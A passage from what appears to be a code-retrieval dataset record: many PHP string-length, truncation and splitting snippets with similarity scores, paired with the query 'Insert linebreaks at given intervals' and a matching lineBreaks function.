$STRING_LIMIT;\n\tif(sizeof($checkMe)<$STRING_LIMIT){\n\t\t// if the string is shorter than the limit return true for a good check\n\t\treturn true;\n\t}else{\n\t\treturn false;\n\t\t// after this return the snipString method should be called to cut off the string shorter(CLIENT APPROVAL NEEDED) !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n\n\t}\n\n}", "function splitByWords($text, $splitLength = 200) {\r\n $wordArray = explode(' ', $text);\r\n\r\n // Too many words\r\n if (sizeof($wordArray) > $splitLength) {\r\n // Split words into two arrays\r\n $firstWordArray = array_slice($wordArray, 0, $splitLength);\r\n $lastWordArray = array_slice($wordArray, $splitLength + 1, sizeof($wordArray));\r\n\r\n // Turn array back into two split strings \r\n $firstString = implode(' ', $firstWordArray);\r\n $lastString = implode(' ', $lastWordArray);\r\n return array($firstString, $lastString);\r\n }\r\n // if our array is under the limit, just send it straight back\r\n return array($text);\r\n }", "function stringBreak ($posterTxt, $breakLength)\n\t{\n\t\t$tempArray = explode(' ', $posterTxt);\n\t\t\t\t\n\t\t$runningLength = 0;\n\t\t$lastSize = 0;\n\t\t$finalString = \"\";\n\t\t\n\t\tforeach ($tempArray as $word)\n\t\t{\n\t\t\t$finalString .= $word. ' ';\n\t\t\t$runningLength = strlen($finalString);\n\t\t\tif (($runningLength - $lastSize) >= $breakLength)\n\t\t\t{\n\t\t\t\t$finalString .= \"<br>\";\n\t\t\t\t$lastSize = strlen($finalString);\n\t\t\t}\t\n\t\t}\t\n\t\treturn $finalString;\n\t}", "function validateLength2($str, $length){\n if((strlen($str)>=$length) || (strlen($str) == 0))\n return false;\n else\n return true;\n}", "public static function length($string, $params) {\n if (strlen($string) >= $params[0] && strlen($string) <= $params[1]) {\n return $string;\n } else {\n return false;\n }\n }", "function splitLongLine($string, $maxWords = 96) {\n\n $oline = \"\";\n $strArry = explode(\"\\n\\r\", $string);\n foreach ($strArry as $line) {\n (strlen($line) > $maxWords) ? $strArray = self::splitWords($line, $maxWords) : $strArray = array();\n (!empty($strArray)) ? $oline .= implode(\"\\n\\r\", $strArray) : $oline .= $line;\n }\n return $oline;\n }", "function smartSubstr($str, $maxLength, $separator = ' ', $tail = '...')\n{\n if (mb_strlen($str) <= $maxLength) {\n return $str;\n }\n\n $returnStr = '';\n $totalLength = 0;\n $separatorLength = mb_strlen($separator);\n $explodeStr = explode($separator, $str);\n\n if (count($explodeStr) > 1) {\n foreach($explodeStr as $item) {\n\n $itemLength = mb_strlen($item);\n $totalLength = mb_strlen($returnStr);\n\n if (($totalLength + $itemLength) >= $maxLength) {\n if (substr($returnStr, -$separatorLength, $separatorLength) == $separator) {\n $returnStr = substr($returnStr, 0, -$separatorLength);\n }\n\n $returnStr .= $tail;\n break;\n }\n\n $returnStr .= $item . $separator;\n }\n } else {\n return mb_substr($str, 0, $maxLength);\n }\n\n return $returnStr;\n}", "public function length($str, array $length)\n\t{\n\t\tif ( ! is_string($str))\n\t\t\treturn FALSE;\n\n\t\t$size = mb_strlen($str);\n\t\t$status = FALSE;\n\n\t\tif (count($length) > 1)\n\t\t{\n\t\t\tlist ($min, $max) = $length;\n\n\t\t\tif ($size >= $min AND $size <= $max)\n\t\t\t{\n\t\t\t\t$status = TRUE;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$status = ($size === (int) $length[0]);\n\t\t}\n\n\t\treturn $status;\n\t}", "public static function strSplit($string, $encoding = 'UTF-8') {}", "function length( $string )\n\t\t{\n\t\t\treturn strlen( $string );\n\t\t}", "function truncate_string($string, $maxlength, $extension) {\n $cutmarker = \"**cut_here**\";\n\n // Checking if the given string is longer than $maxlength\n if (strlen($string) > $maxlength) {\n\n // Using wordwrap() to set the cutmarker\n // NOTE: wordwrap (PHP 4 >= 4.0.2, PHP 5)\n $string = wordwrap($string, $maxlength, $cutmarker);\n\n // Exploding the string at the cutmarker, set by wordwrap()\n $string = explode($cutmarker, $string);\n\n // Adding $extension to the first value of the array $string, returned by explode()\n $string = $string[0] . $extension;\n }\n\n // returning $string\n return $string;\n\n}", "function partitions($length, $min)\n{\n return array_merge(\n /**\n * always return whole length as one of results\n **/\n [[$length]],\n\n /**\n * Check if string can be split\n **/\n $length >= 2 * $min\n /**\n * Lift up one nesting level\n * [[[], []],[[]]] -> [[], [], []]\n * because we want to have all results as one list\n **/\n ? call_user_func_array(\"array_merge\",\n array_map(function($elem) use ($length, $min)\n {\n\n /**\n * Poor man's unshift\n * because php's unshift doesn't return a new array\n * and I don't want to use intermediate variable.\n * This code combines a substring of length $elem with all possible\n * partitions of the rest of string ($length - $elem)\n **/\n return array_map(function($arr) use ($elem)\n {\n return array_merge([$elem], $arr);\n },\n partitions($length - $elem, $min)\n );\n\n },\n range($min, $length - $min)\n )\n )\n\n /**\n * No possible splits\n **/\n : []\n );\n}", "public function splitToBottom($string) {\n $piece = explode(addslashes($string));\n $piece[1] = str_replace(' ', '', $piece[1]);\n return $piece[1];\n }", "static function limit_content($str, $length)\n {\n $str = strip_tags($str);\n $str = str_replace('[/', '[', $str);\n $str = strip_shortcodes($str);\n $str = explode(\" \", $str);\n return implode(\" \", array_slice($str, 0, $length));\n }", "protected function max($length, $field_name, $data)\n {\n if (strlen($data) <= $length) {\n return true;\n } else {\n $this->errors[$field_name][] = \"maximum {$length} char\";\n }\n// $this->errors[$field_name][] = \"maximum {$length} char\";\n// return empty(strlen($data) <= $length) ? false : true;\n }", "function string_cut_string($str, $length)\r\n\t{\r\n\t\t$str = strip_tags($str);\r\n\t\t/*\r\n\t\tif(strpos($str, \" \") === false) {\r\n\t\t\t$str = wordwrap($str, 25, \"<br />\\n\", true);\r\n\t\t}\r\n\t\t*/\r\n\t\tif (strlen($str) > $length)\r\n\t\t{\r\n\t\t\t$str = substr($str, 0, $length);\r\n\t\t\t$last_space = strrpos($str, \" \");\r\n\t\t\t$str = substr($str, 0, $last_space).\"...\";\r\n\t\t} \r\n\r\n\t\treturn $str;\r\n\t}", "private function mb_str_split( $string )\n {\n # and not before the end: $\n return preg_split('/(?<!^)(?!$)/u', $string );\n }", "function wordlimit($string, $length = 50, $ellipsis = \"...\") {\n $words = explode(' ', strip_tags($string));\n if (count($words) > $length)\n return implode(' ', array_slice($words, 0, $length)) . $ellipsis;\n else\n return $string;\n}", "function has_length($value, $options=array()) {\n // TODO\n\t$length=strlen($value);\n\tif ($length > $options['1'] || $length < $options['0'])\n\t\treturn false;\n\telse\n\t\treturn true;\n\t\n\t\n }", "public function maxLength($field, $length) {\n\t\t$length = intval($length);\n\t\t$postData = $_POST[$field['name']];\n\t\t\n\t\tif ( ! is_string($postData))\n\t\t\tstrval($postData);\n\t\t\t\n\t\tif (strlen($postData) > intval($length)) {\n\t\t\t$this->_errors[$field['name']]['param'] = $length;\n\t\t\treturn FALSE;\n\t\t}\n\t\t\n\t\treturn TRUE;\n\t}", "public static function validate_string_minimum_length($value, $length){\n\t\treturn strlen($value) >= $length;\n\t}", "public function hasMinLength($string)\n\t{\n\t\treturn strlen($string) >= 6;\n\t}", "static public function getStringLength( $sString ) {\n return function_exists( 'mb_strlen' )\n ? mb_strlen( $sString )\n : strlen( $sString );\n }", "public function hasLength(): bool;", "function truncate($string,$length=35,$append=\"&hellip;\") {\n $string = trim($string);\n\n if(strlen($string) > $length) {\n $string = wordwrap($string, $length);\n $string = explode(\"\\n\", $string, 2);\n $string = $string[0] . $append;\n }\n\n return $string;\n }", "public function testDataLineLength() {\n // results array will be updated with this during the test\n $this->results['lines_with_too_many_characters'] = [];\n\n $split_lines = explode(\"\\n\", $this->data);\n $all_lines_acceptable_length = true;\n for($i = 0; $i < count($split_lines); $i++) { // make sure each line is not too long\n $line = $split_lines[$i];\n if(strlen($line) > Config::MAX_DATA_LINE_LENGTH) {\n // if a line exceeds maximum data line length in Config, this test fails\n // also update results to indicate this line as an unacceptable length\n $all_lines_acceptable_length = false;\n array_push($this->results['lines_with_too_many_characters'], $i);\n }\n }\n $this->assertTrue($all_lines_acceptable_length, \"Not all lines stay under the maximum number of allowed characters!\");\n }", "function string_limit_words($string, $word_limit){\n\t$limited[0] = $string;\n\t$limited[1] = 0;\n\t$words = explode(' ', $string, ($word_limit + 1));\n\tif(count($words) > $word_limit){\n\t\tarray_pop($words);\n\t\t$limited[0] = implode(' ', $words);\n\t\t$limited[1] = 1;\n\t}\n\treturn $limited;\n}", "public function getMaxLength();", "public function testLengthCanBeChanged()\n {\n $this->assertEquals(15, (new StringField('some_string'))->length(15)->getLength());\n }", "public function setLength($length);", "public function can_split() {\n return true;\n }", "function trim_output($str,$maxlength='250',$rep='...'){\n $ret=chunk_split($str,60);\n\n if(strlen($ret) > $maxlength){\n $ret=substr($ret,0,$maxlength).$rep; \n }\n return $ret; \n}", "function trim_output($str,$maxlength='250',$rep='...'){\n $ret=chunk_split($str,60);\n\n if(strlen($ret) > $maxlength){\n $ret=substr($ret,0,$maxlength).$rep; \n }\n return $ret; \n}", "public static function limitString($string,$length,$addDots = false){\r\n\t\t$dots = \"...\";\r\n\r\n\t\tif(strlen($string) > $length)\r\n\t\t\t$string = substr($string,0,($addDots ? $length-strlen($dots) : $length)) . ($addDots ? $dots : \"\");\r\n\r\n\t\treturn $string;\r\n\t}", "function has_length($value, $options=array()) {\n $length = strlen($value);\n if(isset($options['max']) && ($length > $options['max'])) {\n return false;\n } elseif(isset($options['min']) && ($length < $options['min'])) {\n return false;\n } elseif(isset($options['exact']) && ($length != $options['exact'])) {\n return false;\n } else {\n return true;\n }\n }", "function has_length($value, $options=array()) {\n $length = strlen($value);\n if(isset($options['max']) && ($length > $options['max'])) {\n return false;\n } elseif(isset($options['min']) && ($length < $options['min'])) {\n return false;\n } elseif(isset($options['exact']) && ($length != $options['exact'])) {\n return false;\n } else {\n return true;\n }\n }", "function limitar($sString, $iLimite) {\n\n if ( strlen($sString) > $iLimite ) {\n $sString = mb_substr($sString, 0, $iLimite - 3) . '...';\n } else {\n $sString = mb_substr($sString, 0, $iLimite);\n }\n\n return $sString;\n}", "public static function maxLength($value, $length) {\n\t\ttry {\n\t\t\t// Setup\n\t\t\t$result = false;\n\t\t\t\n\t\t\t// Check Value\n\t\t\tif(strlen($value) <= $length) {\n\t\t\t\t$result = true;\n\t\t\t}\n\t\t\treturn $result;\n\t\t}\n\t\tcatch(\\Exception $ex) {\n\t\t\t\\Bedrock\\Common\\Logger::exception($ex);\n\t\t}\n\t}", "public static function isLength($var, $length) {\n\n if (is_array($var)) {\n return count($var) == $length;\n\n }\n else {\n return strlen($var) == $length;\n\n }\n\n }", "function truncate($string,$length=500,$append=\"&hellip;\") {\n $string = trim($string);\n\n if(strlen($string) > $length) {\n $string = wordwrap($string, $length);\n $string = explode(\"\\n\", $string, 2);\n $string = $string[0] . $append;\n }\n\n return $string;\n}", "function esquerda($str, $length) \n{\n\t$length++;\n return substr($str, (strlen($str) - $length), $length - 1);\n}", "function validateLength($str, $minlength, $maxlength){\n if((strlen($str)>=$maxlength) || (strlen($str)<$minlength) )\n return false;\n else\n return true;\n}", "function TruncateStr($string, $length = 80, $etc = '...', $breakWords = false) {\n if ($length == 0)\n return '';\n\n if (strlen($string) > $length) {\n $length -= strlen($etc);\n $fragment = substr($string, 0, $length + 1);\n if ($break_words)\n $fragment = substr($fragment, 0, -1);\n else\n $fragment = preg_replace('/\\s+(\\S+)?$/', '', $fragment);\n return $fragment . \" \" . $etc;\n } else\n return $string;\n }", "function check_str_end(string $string, string $end, int $len, $endLength): bool\n{\n return substr($string, $len - $endLength, $endLength) == $end;\n}", "protected function split_packet($length, $packet, $user) \n\t{\n\t\t//add PartialPacket and calculate the new $length\n\t\tif ( $user->handlingPartialPacket ) \n\t\t{\n\t\t\t$packet = $user->partialBuffer . $packet;\n\t\t\t$user->handlingPartialPacket = false;\n\n\t\t\t$length = strlen($packet);\n\t\t}\n\n\t\t$fullpacket = $packet;\n\t\t$frame_pos = 0;\n\t\t$frame_id = 1;\n\n\t\twhile( $frame_pos < $length ) \n\t\t{\n\t\t\t$headers = $this->extractHeaders($packet);\n\t\t\t$headers_size = $this->calcoffset($headers);\n\n\t\t\t$framesize = $headers['length'] + $headers_size;\n\n\t\t\t//split frame from packet and process it\n\t\t\t$frame = substr($fullpacket, $frame_pos, $framesize);\n\n\t\t\tif ( ($message = $this->deframe($frame, $user,$headers)) !== FALSE ) \n\t\t\t{\n\t\t\t\tif ( $user->hasSentClose ) \n\t\t\t\t\t$this->disconnect($user->socket);\n\t\t\t\telse \n\t\t\t\t{\n\t\t\t\t\tif ( preg_match('//u', $message) ) \n\t\t\t\t\t\t$this->process($user, $message);\n\t\t\t\t\telse \n\t\t\t\t\t\t$this->stderr(\"not UTF-8\");\n\t\t\t\t}\n\t\t\t} \n\n\t\t//get the new position also modify packet data\n\t\t\t$frame_pos += $framesize;\n\t\t\t$packet = substr($fullpacket,$frame_pos);\n\t\t\t$frame_id++;\n\t\t}\n\t}", "public static function isLength($input, $length) {\n return (strlen($input) >= $length);\n }", "protected function split_packet($length,$packet, $user) {\n //add PartialPacket and calculate the new $length\n if ($user->handlingPartialPacket) {\n $packet = $user->partialBuffer . $packet;\n $user->handlingPartialPacket = false;\n $length=strlen($packet);\n }\n $fullpacket=$packet;\n $frame_pos=0;\n $frame_id=1;\n\n while($frame_pos<$length) {\n $headers = $this->extractHeaders($packet);\n $headers_size = $this->calcoffset($headers);\n $framesize=$headers['length']+$headers_size;\n \n //split frame from packet and process it\n $frame=substr($fullpacket,$frame_pos,$framesize);\n\n if (($message = $this->deframe($frame, $user,$headers)) !== FALSE) {\n if ($user->hasSentClose) {\n $this->disconnect($user->socket);\n } else {\n if ((preg_match('//u', $message)) || ($headers['opcode']==2)) {\n //$this->stdout(\"Text msg encoded UTF-8 or Binary msg\\n\".$message); \n $this->process($user, $message);\n } else {\n $this->stderr(\"not UTF-8\\n\");\n }\n }\n } \n //get the new position also modify packet data\n $frame_pos+=$framesize;\n $packet=substr($fullpacket,$frame_pos);\n $frame_id++;\n }\n }", "private function sendSplitted($prefix, $message, $split_len=420)\n\t{\n\t\t$len = strlen($message);\n\t\n\t\tif ($len <= $split_len)\n\t\t{\n\t\t\treturn $this->send($prefix.$message);\n\t\t}\n\t\n\t\t$i = 0;\n\t\twhile ($i < $len)\n\t\t{\n\t\t\t$to_read = $len - $i;\n\t\n\t\t\tif ($to_read > $split_len)\n\t\t\t{\n\t\t\t\t$j = GWF_String::strrchr($message, ' ', $i+$split_len);\n\t\n\t\t\t\tif ($j <= $i) {\n\t\t\t\t\t$j = $i + $split_len;\n\t\t\t\t}\n\t\t\t\t$m = substr($message, $i, $j-$i/*-1*/);\n\t\t\t\t$i = $j+1;\n\t\t\t\t$this->send($prefix.$m);\n\t\t\t}\n\t\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->send($prefix.substr($message, $i));\n\t\t\t\t$i = $len;\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t}", "function lineBreaks($str, $lineLength = 80) {\n $lineBreak = '\\n';\n $tempString = $str;\n $returnString = '';\n \n while(strlen($tempString) > 0) {\n $buildString = substr($tempString, 0, $lineLength);\n $buildString .= $lineBreak;\n $returnString .= $buildString;\n \n $tempString = substr($tempString, $lineLength);\n }\n \n return $returnString;\n}", "public function isParsable($realString);", "function splitString($str, $partition)\n{\n /**\n * This would look better with simple foreach\n **/\n return array_reduce($partition, function($c, $p)\n {\n return [\n 'l' => array_merge($c['l'], [substr($c['s'], 0, $p)]),\n 's' => substr($c['s'], $p)\n ];\n },\n [\n 'l' => [],\n 's' => $str\n ]\n )['l'];\n}", "function chkLength($string){//word 가 짧은지? 2글자 이하면 앞에 것 까지 돌려주기\r\n\t\t$ary = explode(' ',$string);\r\n\t\t$text = end($ary);\r\n\t\t$length = mb_strlen( end($ary), 'utf-8' );//문자의 길이\r\n\t\tif($length<=2)\r\n\t\t{\r\n\t\t\t$index = sizeof($ary);\r\n\t\t\t$index -=2;\r\n\t\t\t$text=($ary[$index].$text);\r\n\t\t}\r\n\t\treturn $text;\r\n\t}", "function length_check() {\n # Reset Error Message\n $this->error_message = \"\";\n\n # Check that a length is set\n if ($this->length) {\n # Check Length\n if (strlen($this->cur_val) > $this->length) {\n # Set Error Message\n $this->set_error(\"Validation for length of input ({$this->cur_val}) failed. The input length is \" . strlen($this->cur_val) . \" and the max length is {$this->length}.\");\n\n # Return Truncated Result\n return substr($this->cur_val, 0, $this->length);\n }\n else {\n return $this->cur_val;\n }\n }\n else {\n return $this->cur_val;\n }\n }", "function truncate($string, $length, $stopanywhere=false)\n{\n if (strlen($string) > $length)\n {\n //limit hit!\n $string = substr($string, 0, ($length - 3));\n if ($stopanywhere)\n {\n //stop anywhere\n $string .= '...';\n } else\n {\n //stop on a word.\n $string = substr($string, 0, strrpos($string, ' ')) . '...';\n }\n }\n return $string;\n}", "public function str_split_unicode($str, $length = 1) {\n\n $tmp = preg_split('~~u', $str, -1, PREG_SPLIT_NO_EMPTY);\n\n if ($length > 1) {\n $chunks = array_chunk($tmp, $length);\n foreach ($chunks as $i => $chunk) {\n $chunks[$i] = join('', (array) $chunk);\n }\n $tmp = $chunks;\n }\n\n return $tmp;\n\n }", "protected function sort_by_string_length( $a, $b ) {\n\t\treturn strlen( $b ) - strlen( $a );\n\t}", "function twig_chunk_split(string $string, int $chunklen = 76): string\n{\n return chunk_split($string, $chunklen);\n}", "static public function CheckMessageLength($length)\n {\n if ($length > Message::MAX_DATA_LENGTH) {\n throw new Exception('Too much data');\n }\n }", "function lengthFilter($value)\n{\n return strlen($value) > 1;\n}", "function truncate_it($length, $string)\n{\n if (strlen(strip_tags($string)) < $length) {\n return strip_tags($string);\n }\n return substr(strip_tags($string), 0, $length) . '...';\n}", "function has_length($value , $options = []){\r\n if(isset($options['max']) && (strlen($value) > (int)$options['max'])){\r\n return false;\r\n }\r\n if(isset($options['min']) && (strlen($value) < (int)$options['min'])){\r\n return false;\r\n }\r\n if(isset($options['exact']) && (strlen($value) != (int)$options['exact'])){\r\n return false;\r\n }\r\n return true;\r\n}", "public function min($str, $length)\n {\n return $this->notempty($str) && strlen(trim($str)) >= $length;\n }", "public function getMaxLength() {}", "public static function validateMaxLength(TextBase $control, $length)\r\n\t{\r\n\t\treturn count($control->getValue())<=$length;\r\n\t}", "function my_string_limit_words($string, $word_limit)\r\n{\r\n $words = explode(' ', $string, ($word_limit + 1));\r\n if(count($words) > $word_limit)\r\n array_pop($words);\r\n return implode(' ', $words).'... ';\r\n}", "function passwordLength($wachtwoordbevestiging) {\n\t$count = 0;\n\n\tfor($i = 0; $i < strlen($wachtwoordbevestiging); $i++) { \n\t\tif($wachtwoordbevestiging[$i] != ' ') \n\t\t\t$count++; \n\t}\n\n\tif ($count < 6) {\n\t\t$result = true;\n\t} else {\n\t\t$result = false;\n\t}\n\treturn $result;\n}", "function chunk(array|string $input, int $length, bool $keep_keys = false): array\n{\n return is_array($input) ? array_chunk($input, $length, $keep_keys)\n : str_chunk($input, $length, join: false);\n}", "function clean($str, $length) {\n return Str::limit(trim(preg_replace('/\\s\\s+/', ' ', strip_tags(preg_replace('/<br(\\s+)?\\/?>/i', \" \", $str)), $length)));\n }", "function too_long_words($text,$word_maxlength)\n {\n $text = preg_replace(\"/\\015\\012|\\015|\\012/\", \"\\n\", $text);\n $text = str_replace(\"\\n\", ' ', $text);\n $words = explode(' ',$text);\n foreach($words as $word)\n {\n $length = mb_strlen(trim($word), CHARSET);\n if($length > $word_maxlength)\n {\n $too_long_words[] = $word;\n }\n }\n if(isset($too_long_words))\n {\n return $too_long_words;\n }\n return false;\n }", "function word_wrap_txt($string, $length){\n\t\t\n\t\t$line = '';\n\t\t$i = 0;\n\t\t\n\t\t$outputStringArray = str_split($string, $length);\n\t\t\n\t\t$noOFLines = count($outputStringArray) + 1;\n\t\t\n\t\tif (count($outputStringArray) == 1){\n\t\t\t\n\t\t\t$line .= \"\\t\".$outputStringArray[0].\"\\t\";\n\t\t\t\n\t\t\t$i++;\n\t\t\t\n\t\t}else{\n\t\t\t\n\t\t\tforeach ($outputStringArray as $outputString){\n\t\t\t\t//,\"/t |\"\n\t\t\t\tif ($noOFLines == $i){\n\t\t\t\t\t\n\t\t\t\t\t$line .= '|'.\"\\t\".$outputString.\"\\t\".'|';\n\t\t\t\t\t$line .= $i;\n\t\t\t\t\t\n\t\t\t\t\t$i++;\n\t\t\t\t\t\n\t\t\t\t}else{\n\t\t\t\t\t\n\t\t\t\t\tif ($i != 0){\n\t\t\t\t\t\t$line .= \"\\t\".' '.\"\\t\".'|';\n\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$line .= '|'.\"\\t\".$outputString.\"\\t\".'|'.\"\\n\";\n\t\t\t\t\t//$line .= $i;\n\t\t\t\t\t\n\t\t\t\t\t$i++;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\treturn $line;\n\t\t\n\t}", "public static function valLen($s, $len) {\r\n if (strlen($s) <= $len) {\r\n return $s;\r\n } else {\r\n $backtrace = debug_backtrace();\r\n $trace = $backtrace[0];\r\n $message = 'Input too long: ' . $s . ' is longer than ' . $len;\r\n error_log($trace['file'] . '::' . $trace['line'] . '::' . $message);\r\n\r\n// self::error_log('Input too long: ' . $s . ' is longer than ' . $len);\r\n return '';\r\n }\r\n }", "function str_substr($string, $max_length){\n\t\t$string=trim($string);\n\t \tif (strlen($string) > $max_length){\n\t\t $newstring= substr($string, 0, $max_length);\n\t\t}else{\n\t\t $newstring=$string;\n\t\t}\n\t\tif(strlen($string)>strlen($newstring)){\n\t\t\t$newstring.='...';\n\t\t}\n\t\treturn $newstring;\n\t}", "public static function length($string)\n {\n if (function_exists('mb_strlen')) {\n return mb_strlen($string, static::getEncoding());\n }\n\n if (function_exists('iconv_strlen')) {\n return iconv_strlen($string, static::getEncoding());\n }\n\n return false;\n }", "function _char_limit($str, $length, $minword = 3)\n {\n $sub = '';\n $len = 0;\n \n foreach (explode(' ', $str) as $word)\n {\n $part = (($sub != '') ? ' ' : '') . $word;\n $sub .= $part;\n $len += strlen($part);\n \n if (strlen($word) > $minword && strlen($sub) >= $length)\n {\n break;\n }\n }\n \n return $sub . (($len < strlen($str)) ? '...' : '');\n\n }", "function mb_str_split( $string ) {\n # and not before the end: $\n return preg_split('/(?<!^)(?!$)/u', $string );\n }", "function get_substr($string, $length) {\n\n\tif ( strlen($string) > $length ) {\n\t\treturn $string = trim(substr($string, 0, $length)) . '&hellip;';\n\t}\n\n\treturn $string;\n\n}", "function processString($str, $min)\n{\n /**\n * Get all partitions and split string using them\n **/\n return array_map(function($p) use ($str)\n {\n return splitString($str, $p);\n },\n partitions(strlen($str), $min)\n );\n}", "private function truncate_string($string, $length = 64, $appendStr = \"\") {\n $truncated_str = \"\";\n $useAppendStr = (strlen($string) > intval($length))? true:false;\n $truncated_str = substr($string,0,$length);\n $truncated_str .= ($useAppendStr)? $appendStr:\"\";\n return $truncated_str;\n }", "function lineBreaks($str, $lineLength = 80) {\n\t$lineBreak = '\\n';\n\t$tempString = $str;\n\t$returnString = '';\n\t\n\twhile(strlen($tempString) > 0) {\n\t\t$buildString = substr($tempString, 0, $lineLength);\n\t\t$buildString .= $lineBreak;\n\t\t$returnString .= $buildString;\n\t\t\n\t\t$tempString = substr($tempString, $lineLength);\n\t}\n\t\n\treturn $returnString;\n}", "function length(string $string): int\n{\n $length = grapheme_strlen($string);\n\n Psl\\invariant(null !== $length, 'unable to convert $string to UTF-16');\n Psl\\invariant(false !== $length, 'unable to split $string into graphemes');\n\n return $length;\n}", "function has_length($value, $options=array()) {\n //for first/last name [1,256]\n //for username [7, 256]\n if(strlen($value) > $options[0] && strlen($value) < $options[1]) {\n return 1;\n }\n return 0;\n }" ]
[ "0.75476134", "0.68627363", "0.5786385", "0.5731513", "0.557104", "0.5529535", "0.54784596", "0.54510933", "0.5432888", "0.54318", "0.5404266", "0.5398608", "0.5375845", "0.5371923", "0.53622603", "0.5359046", "0.5346216", "0.5330221", "0.5329106", "0.53198886", "0.5314591", "0.52178115", "0.5201138", "0.51882875", "0.5179919", "0.5174146", "0.513106", "0.5120144", "0.50432974", "0.5009998", "0.50050145", "0.49949932", "0.49790728", "0.4967368", "0.49605855", "0.49408376", "0.49370155", "0.49278334", "0.49148625", "0.49079886", "0.48951453", "0.48877352", "0.4887578", "0.48847175", "0.48845032", "0.4884128", "0.4868429", "0.48572618", "0.485686", "0.48527217", "0.48525992", "0.48525992", "0.4852118", "0.48436674", "0.48436674", "0.4822798", "0.48195744", "0.4818001", "0.48164043", "0.4810283", "0.48003355", "0.47906905", "0.47831044", "0.47741407", "0.47616577", "0.47603783", "0.4748047", "0.47319025", "0.47317207", "0.47260275", "0.47259247", "0.47076935", "0.47071433", "0.470518", "0.4688627", "0.4686735", "0.46821433", "0.46630543", "0.46607777", "0.46589687", "0.465813", "0.46548614", "0.46439505", "0.4642709", "0.46375823", "0.46337834", "0.463311", "0.46216485", "0.46132275", "0.46096507", "0.46059167", "0.45996052", "0.45976886", "0.45946896", "0.45911166", "0.4586687", "0.45850646", "0.45670363", "0.45607346", "0.45574263" ]
0.7581885
0
Insert linebreaks at given intervals
function lineBreaks($str, $lineLength = 80) { $lineBreak = '\n'; $tempString = $str; $returnString = ''; while(strlen($tempString) > 0) { $buildString = substr($tempString, 0, $lineLength); $buildString .= $lineBreak; $returnString .= $buildString; $tempString = substr($tempString, $lineLength); } return $returnString; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function insertNewline($str, $times)\n{\n for ($k = 0; $k < $times; $k++) {\n $str .= PHP_EOL;\n }\n return $str;\n}", "private function makeLineBreaksHTML(): void {\n\t\t$this->setMsg(str_replace([PHP_EOL, '\\r\\n'], '<br />', $this->getMsg()));\n\n\t\tif($this->getMaxLineLength()) {\n\t\t\t$this->setMsg(wordwrap($this->getMsg(), $this->getMaxLineLength(), '<br />' . PHP_EOL));\n\t\t}\n\t}", "private function makeLineBreaks(): void {\n\t\tif($this->getMaxLineLength()) {\n\t\t\t$this->setMsg(wordwrap($this->getMsg(), $this->getMaxLineLength(), PHP_EOL));\n\t\t}\n\n\t\t$this->setMsg(str_replace('<br />', PHP_EOL, str_replace('<br>', PHP_EOL, $this->getMsg())));\n\t}", "function line_break($length = 40)\n{\n $output = \"\";\n for($i = 0; $i < $length; $i++) {\n $output .= '-';\n }\n return $output;\n}", "function linebreak() {\n $this->doc .= '<br/>'.DOKU_LF;\n }", "function wkt_generate_multilinestring() {\n $start = $this->random_point();\n $num = $this->dd_generate(1, 3, TRUE);\n $lines[] = $this->wkt_generate_linestring($start);\n for ($i = 0; $i < $num; $i += 1) {\n $diff = $this->random_point();\n $start[0] += $diff[0] / 100;\n $start[1] += $diff[1] / 100;\n $lines[] = $this->wkt_generate_linestring($start);\n }\n return '(' . implode('), (', $lines) . ')';\n }", "protected function lineBreaks() {\n\t\t$this->text = $this->removeUnneccesaryLinebreaks($this->text);\n\t\t$this->text = nl2br($this->text);\n\t\tReturn $this;\n\t}", "public static function lineBreakCorrectlyTransformedOnWayToRteProvider() {}", "function __replaceWithNewlines() {\n\t\t$args = func_get_args();\n\t\t$numLineBreaks = count(explode(\"\\n\", $args[0][0]));\n\t\treturn str_pad('', $numLineBreaks - 1, \"\\n\");\n\t}", "public function addTextBreak($count = 1) {\n\t\tfor($i=1; $i<=$count; $i++) {\n\t\t\t$this->_elementCollection[] = new PHPWord_Section_TextBreak();\n\t\t}\n\t}", "public function newLine() {\n\t\t$this->_section=0;\n\t\t$this->_lineNumber++;\n\t\t$this->_text[$this->_lineNumber]=array();\n\t\t$this->_text[$this->_lineNumber][0]['text']='';\n\t\t$this->_text[$this->_lineNumber][0]['encoding']='';\n\t\t$this->_text[$this->_lineNumber][0]['font']=$this->_font;\n\t\t$this->_text[$this->_lineNumber][0]['fontSize']=$this->_fontSize;\n\t\t$this->_text[$this->_lineNumber][0]['width']=0;\n\n\t\t\n\t\t$this->_initializeLine();\n\t\t\n\t\t$this->_text[$this->_lineNumber]['alignment']=$this->_text[$this->_lineNumber-1]['alignment'];\n\t\t//add the last cell's height to the auto height if we have an auto-height box.\n\t\tif ($this->isAutoHeight()) {\n\t\t\t$this->_autoHeight+=$this->_text[$this->_lineNumber-1]['height'];\n\t\t}\n\t}", "public function setLineEndingStyles($first, $last) {}", "public function setLineEndingStyles($first, $last) {}", "public function line_break_section($sign='', $count=0){\n $line = str_repeat($sign, $count);\n return \"$line\\n\";\n }", "function addBreaks($var) {\n return nl2br($var);\n}", "function infy_nl($count = 1)\n {\n return str_repeat(PHP_EOL, $count);\n }", "public function enableRemoveLineBreaksFromTemplate() {}", "function NbLines($w,$txt)\n{\n $cw=&$this->CurrentFont['cw'];\n if($w==0)\n $w=$this->w-$this->rMargin-$this->x;\n $wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\n $s=str_replace(\"\\r\",'',$txt);\n $nb=strlen($s);\n if($nb>0 and $s[$nb-1]==\"\\n\")\n $nb--;\n $sep=-1;\n $i=0;\n $j=0;\n $l=0;\n $nl=1;\n while($i<$nb)\n {\n $c=$s[$i];\n if($c==\"\\n\")\n {\n $i++;\n $sep=-1;\n $j=$i;\n $l=0;\n $nl++;\n continue;\n }\n if($c==' ')\n $sep=$i;\n $l+=$cw[$c];\n if($l>$wmax)\n {\n if($sep==-1)\n {\n if($i==$j)\n $i++;\n }\n else\n $i=$sep+1;\n $sep=-1;\n $j=$i;\n $l=0;\n $nl++;\n }\n else\n $i++;\n }\n return $nl;\n}", "function NbLines($w,$txt)\n{\n $cw=&$this->CurrentFont['cw'];\n if($w==0)\n 